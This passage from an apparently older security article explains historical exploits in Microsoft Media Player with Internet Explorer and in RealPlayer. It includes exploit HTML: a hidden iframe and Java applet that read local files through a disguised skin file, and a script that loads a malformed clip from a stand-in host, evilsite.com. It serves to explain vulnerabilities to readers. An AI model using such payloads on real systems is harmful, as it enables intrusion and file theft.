01@evilsite.com/phishing/fakepage.htm');

Example 2: Microsoft Internet Explorer and Media Player Combination
A vulnerability existed within Microsoft Media Player that was exploitable through java coding with Microsoft Internet Explorer. This vulnerability enabled remote servers to read local customer files, browse directories and finally execution of arbitrary software. Depending upon the software being executed, the attacker had the potential to take control of the customer’s computer.

The problem lay with how Media Player downloaded customised skins and stored them. For example:
"C:/Program files/Windows Media Player/Skins/SKIN.WMZ" : <IFRAME SRC="wmp2.wmz"></IFRAME>
Will download wmp2.wmz and place it in the defined folder. Unfortunately, the file wmp2.wmz may be a java jar archive. Therefore the following applet tag:

<APPLET CODEBASE="file://c:/" ARCHIVE="Program files/Windows Media Player/SKINS/wmp2.wmz"
CODE="gjavacodebase.class" WIDTH=700 HEIGHT=300>
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</APPLET>

Will be executed with codebase="file://c:/" and the applet will have read only access to C:\.
To execute this code automatically, all an attacker had to do was get the web browser to open a simple HTML fie such as the one below:

<IFRAME SRC="wmp2.wmz" WIDTH=1 HEIGHT=1></IFRAME>
<SCRIPT>
function f()
{
window.open("wmp7-bad.htm");
}
setTimeout("f()",4000);
</SCRIPT>

Which calls a secondary HTML file (wmp7-bad.htm)

<APPLET CODEBASE="file://c:/"
ARCHIVE="Program files/Windows Media Player/SKINS/wmp2.wmz"
CODE="gjavacodebase.class"
WIDTH=700 HEIGHT=300>
<PARAM NAME="URL" VALUE="file:///c:/test.txt">
</APPLET>

Example 3: RealPlayer/RealOne Browser Extension Heap Corruption
RealPlayer is the most widely used product for internet media delivery, with in excess of 200 million users worldwide. All popular web browsers offer support for RealPlayer and the automatic playing of media.
By crafting a malformed .RA, .RM, .RV or .RMJ file it possible to cause heap corruption that can lead to execution of an attacker’s arbitrary code. By forcing a browser or enticing a user to a website containing such a file, arbitrary attacker supplied code could be automatically executed on the target machine. This code will run in the security context of the logged on user.

<OBJECT ID="RealOneActiveXObject" WIDTH=0 HEIGHT=0 CLASSID="CLSID:FDC7A535-4070-4B92-A0EA-D9994BCC0DC5"></OBJECT>

// Play a clip and show new status display
function clipPlay() {
window.parent.external.PlayClip(
"rtsp://evilsite.com/hackme.rm",
"Title=Glorious Day|Artist name=Me Alone")
}

More information is available from: http://www.nextgenss.com/advisories/realra.txt

     
    Copyright 2001-2007 © Gunter Ollmann